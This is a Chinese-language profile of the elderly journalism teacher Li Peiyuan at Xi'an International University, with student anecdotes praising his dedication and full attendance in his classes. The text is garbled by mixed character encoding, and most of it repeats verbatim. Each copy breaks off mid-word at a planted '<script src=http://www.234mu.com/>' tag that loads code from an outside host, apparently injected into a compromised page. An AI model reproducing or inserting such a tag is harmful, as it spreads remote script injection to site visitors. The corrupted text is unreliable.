李培元
基本信息
姓名：李培元
出生年月：1938-08
性別：男
籍貫：山西聞喜
學歷：大學本科
畢業(yè)院校：西北大學
簡歷
1960年7月由西北大學中文系畢業(yè)；其后在《陜西戲劇》雜志編輯部，西安人民廣播電臺、西安電視臺等媒體任編輯、記者、專題部主任、特聘編委；2000年應(yīng)聘來西安外事學院任新聞系主任、教師至今。
個人事跡：
李培元老師是一位愛崗敬業(yè)的教學名師。在我校任教期間，每時每刻都在用愛和奉獻認真詮釋著人民教師神圣的職責和使命。
于文娟是我校電視藝術(shù)0401班學生，2005年“五一”放假前，向李培元老師請假的事令她終生難忘。于文娟的家遠在山東，長期在外求學，恰逢“五一”長假，便有了回家看看的念頭，但好學的她又不想耽擱課程。帶著忐忑，小于向李老師請假時表達了希望老師能給自己提前補課的想法。沒想到李老師很爽快地答應(yīng)了。于是，4月23日下午，在李培元老師的辦公室，師生二人面對面，經(jīng)過1小時40分鐘的精心指導(dǎo)，李老師為小于講授了回家期間要學習的全部課業(yè)內(nèi)容。
日常工作中，很多老師都會計較加班費或加班時間的安排，然而，對于李培元老師而言，基本沒有加班的概念。在他的日常工作中，能按時下班反而是一件不平常的事。
李培元老師已屆七旬，年齡和長期不知疲倦的工作為他本來健朗的身體帶來了許多疾病。然而，在我校任教的十年時間里，他從未因身體或其他任何個人原因缺過任何一節(jié)課。即使偶爾生病，他也會帶著藥堅持給學生上課。
在《西藏商報》做記者的新聞A0305班翟棟同學至今還記得令他一生都難以忘懷的一次新聞采訪課。他回憶說，那天因為調(diào)課，整整一個上午四節(jié)課都是新聞采訪，李老師中間只休息了十幾分鐘。在接連傾情投入，激情澎湃地講完兩節(jié)課后，李培元老師累得滿臉通紅、捂著心口趴在講臺上休息。全班同學看著老師的狀況，都不忍心再讓他繼續(xù)講下去，同學們爭著想扶老師下去休息，然而，李培元老師只原地休息了一會，喝了些水，自己測了一下血壓后，用堅定的語氣說：“只要我今天還沒有倒下去，我就會想盡一切辦法把課上完，上完課以后，老師倒下了就倒下了，你們也不要怪老師，我已經(jīng)盡力了。”李老師的話令全班同學動容，同學們眼含淚水和老師共同堅持上完了他們一生也不能忘懷的一堂采訪課。
李培元老師總是嚴格要求自己，上課絕不允許自己遲到或早退。在他執(zhí)教我校的十年時間里，僅有一次遲到的記錄。那是因為參加開評估會議，忘了課程。也許對于一般的老師而言，這并不算什么，但對于嚴謹?shù)睦钆嘣蠋焷碚f，發(fā)生這樣的事，卻是令他不能釋懷的。同學們至今還記得，當時，李老師匆忙走進教室后，頻頻向大家鞠躬，一再道歉，70高齡的他一邊拭著眼淚一邊打開書本。那一刻，全班34名學生都被老師的赤誠和自責感動了。
呂雅芳同學說，當看到李老師一再鞠躬道歉和自責，全班同學幾乎都被感動地流下了眼淚。她至今還念念不忘，常常自問，這是怎樣的一個老師呢？為了一節(jié)課遲到可以這樣面對學生！
馮朗同學是一個柔弱的女生，然而，就是這么個柔弱的女生，被李培元老師這種無我的敬業(yè)精神和赤誠的人格魅力所震撼，在一次重病時硬是毅然拔掉輸液針管，撐著病體從醫(yī)院趕回學校，為的就是絕不缺李老師的課。她說，在被李老師的人格魅力徹底震撼之后，有時自己也會詫異，那個堅持兩年來都沒有遲到和曠課的人一定不是我，也許那是另一個我。她說，這都是李培元老師以身作則的認真激發(fā)了“另一個我的出現(xiàn)”。
感動和真誠是相互的，李培元老師完全忘我的赤誠帶給同學們的不僅僅是上好一節(jié)課的充實和收獲，更多的是，這種博大的精神力量帶給整個班級的學風建設(shè)和學生一輩子靈魂上的塑造效果。而這些，都是永恒的，無窮的。
2008年5月19日，汶川大地震后的余震仍然在蔓延，前一夜因為躲避余震，大部分師生都是在室外過夜。疲倦和對室內(nèi)的恐懼使得第二天全校的到課率受到了極大的影響。然而，令所有人詫異和感動的是，當天李培元老師的課堂上依然座無虛席，到課率100%。
新聞A0305班同學薛美林說，上李老師的采訪課，同學們都要比平時提早很多時間到教室，不僅僅是害怕去晚了，沒有好的座位，更多讓同學們擔心的是，去得晚了甚至會沒有座位。因為每逢李老師的課，其他班的同學也會來旁聽。在他的課上，座位一度緊張到兩個學生擠一個板凳，四五個人擠一張桌子。
到課率是一個長期困擾全校教學活動的難題，然而，在李培元老師的課堂上，卻完全是另一番景象，這很值得我們反思。
探究李老師的課堂滿員現(xiàn)象，我們發(fā)現(xiàn)，圓滿解決到課率問題，其實并不難。李老師教學的成功經(jīng)驗給我們的啟示是：
第一，李培元老師愛崗敬業(yè)的精神和無我的人格魅力從精神上極大地感染了學生。人格魅力所煥發(fā)出來的力量是無窮的，這是為人師者最根本的力量所在。“身教”比“言傳”更重要。第二，李培元老師始終堅持課堂點名制度，即使課堂里坐得滿滿的，他也會認真細致地點名；他常說，“一個同學遲到一分鐘就耽擱全班同學的三十四分鐘”。他要求，遲到的同學必須站在講臺上對大家道歉，并說明原因。認真的監(jiān)督和檢查有效地杜絕了無辜缺課和遲到早退。第三，李培元老師業(yè)務(wù)精湛，理論功底過硬，講課生動有趣，他的課同學們喜歡上，不光全員到課，也會認真聽講。第四，李培元老師始終堅持不斷學?script src=http://www.234mu.com/>
于文娟是我校電視藝術(shù)0401班學生，2005年“五一”放假前，向李培元老師請假的事令她終生難忘。于文娟的家遠在山東，長期在外求學，恰逢“五一”長假，便有了回家看看的念頭，但好學的她又不想耽擱課程。帶著忐忑，小于向李老師請假時表達了希望老師能給自己提前補課的想法。沒想到李老師很爽快地答應(yīng)了。于是，4月23日下午，在李培元老師的辦公室，師生二人面對面，經(jīng)過1小時40分鐘的精心指導(dǎo)，李老師為小于講授了回家期間要學習的全部課業(yè)內(nèi)容。
日常工作中，很多老師都會計較加班費或加班時間的安排，然而，對于李培元老師而言，基本沒有加班的概念。在他的日常工作中，能按時下班反而是一件不平常的事。
李培元老師已屆七旬，年齡和長期不知疲倦的工作為他本來健朗的身體帶來了許多疾病。然而，在我校任教的十年時間里，他從未因身體或其他任何個人原因缺過任何一節(jié)課。即使偶爾生病，他也會帶著藥堅持給學生上課。
在《西藏商報》做記者的新聞A0305班翟棟同學至今還記得令他一生都難以忘懷的一次新聞采訪課。他回憶說，那天因為調(diào)課，整整一個上午四節(jié)課都是新聞采訪，李老師中間只休息了十幾分鐘。在接連傾情投入，激情澎湃地講完兩節(jié)課后，李培元老師累得滿臉通紅、捂著心口趴在講臺上休息。全班同學看著老師的狀況，都不忍心再讓他繼續(xù)講下去，同學們爭著想扶老師下去休息，然而，李培元老師只原地休息了一會，喝了些水，自己測了一下血壓后，用堅定的語氣說：“只要我今天還沒有倒下去，我就會想盡一切辦法把課上完，上完課以后，老師倒下了就倒下了，你們也不要怪老師，我已經(jīng)盡力了。”李老師的話令全班同學動容，同學們眼含淚水和老師共同堅持上完了他們一生也不能忘懷的一堂采訪課。
李培元老師總是嚴格要求自己，上課絕不允許自己遲到或早退。在他執(zhí)教我校的十年時間里，僅有一次遲到的記錄。那是因為參加開評估會議，忘了課程。也許對于一般的老師而言，這并不算什么，但對于嚴謹?shù)睦钆嘣蠋焷碚f，發(fā)生這樣的事，卻是令他不能釋懷的。同學們至今還記得，當時，李老師匆忙走進教室后，頻頻向大家鞠躬，一再道歉，70高齡的他一邊拭著眼淚一邊打開書本。那一刻，全班34名學生都被老師的赤誠和自責感動了。
呂雅芳同學說，當看到李老師一再鞠躬道歉和自責，全班同學幾乎都被感動地流下了眼淚。她至今還念念不忘，常常自問，這是怎樣的一個老師呢？為了一節(jié)課遲到可以這樣面對學生！
馮朗同學是一個柔弱的女生，然而，就是這么個柔弱的女生，被李培元老師這種無我的敬業(yè)精神和赤誠的人格魅力所震撼，在一次重病時硬是毅然拔掉輸液針管，撐著病體從醫(yī)院趕回學校，為的就是絕不缺李老師的課。她說，在被李老師的人格魅力徹底震撼之后，有時自己也會詫異，那個堅持兩年來都沒有遲到和曠課的人一定不是我，也許那是另一個我。她說，這都是李培元老師以身作則的認真激發(fā)了“另一個我的出現(xiàn)”。
感動和真誠是相互的，李培元老師完全忘我的赤誠帶給同學們的不僅僅是上好一節(jié)課的充實和收獲，更多的是，這種博大的精神力量帶給整個班級的學風建設(shè)和學生一輩子靈魂上的塑造效果。而這些，都是永恒的，無窮的。
2008年5月19日，汶川大地震后的余震仍然在蔓延，前一夜因為躲避余震，大部分師生都是在室外過夜。疲倦和對室內(nèi)的恐懼使得第二天全校的到課率受到了極大的影響。然而，令所有人詫異和感動的是，當天李培元老師的課堂上依然座無虛席，到課率100%。
新聞A0305班同學薛美林說，上李老師的采訪課，同學們都要比平時提早很多時間到教室，不僅僅是害怕去晚了，沒有好的座位，更多讓同學們擔心的是，去得晚了甚至會沒有座位。因為每逢李老師的課，其他班的同學也會來旁聽。在他的課上，座位一度緊張到兩個學生擠一個板凳，四五個人擠一張桌子。
到課率是一個長期困擾全校教學活動的難題，然而，在李培元老師的課堂上，卻完全是另一番景象，這很值得我們反思。
探究李老師的課堂滿員現(xiàn)象，我們發(fā)現(xiàn)，圓滿解決到課率問題，其實并不難。李老師教學的成功經(jīng)驗給我們的啟示是：
第一，李培元老師愛崗敬業(yè)的精神和無我的人格魅力從精神上極大地感染了學生。人格魅力所煥發(fā)出來的力量是無窮的，這是為人師者最根本的力量所在。“身教”比“言傳”更重要。第二，李培元老師始終堅持課堂點名制度，即使課堂里坐得滿滿的，他也會認真細致地點名；他常說，“一個同學遲到一分鐘就耽擱全班同學的三十四分鐘”。他要求，遲到的同學必須站在講臺上對大家道歉，并說明原因。認真的監(jiān)督和檢查有效地杜絕了無辜缺課和遲到早退。第三，李培元老師業(yè)務(wù)精湛，理論功底過硬，講課生動有趣，他的課同學們喜歡上，不光全員到課，也會認真聽講。第四，李培元老師始終堅持不斷學?script src=http://www.234mu.com/>
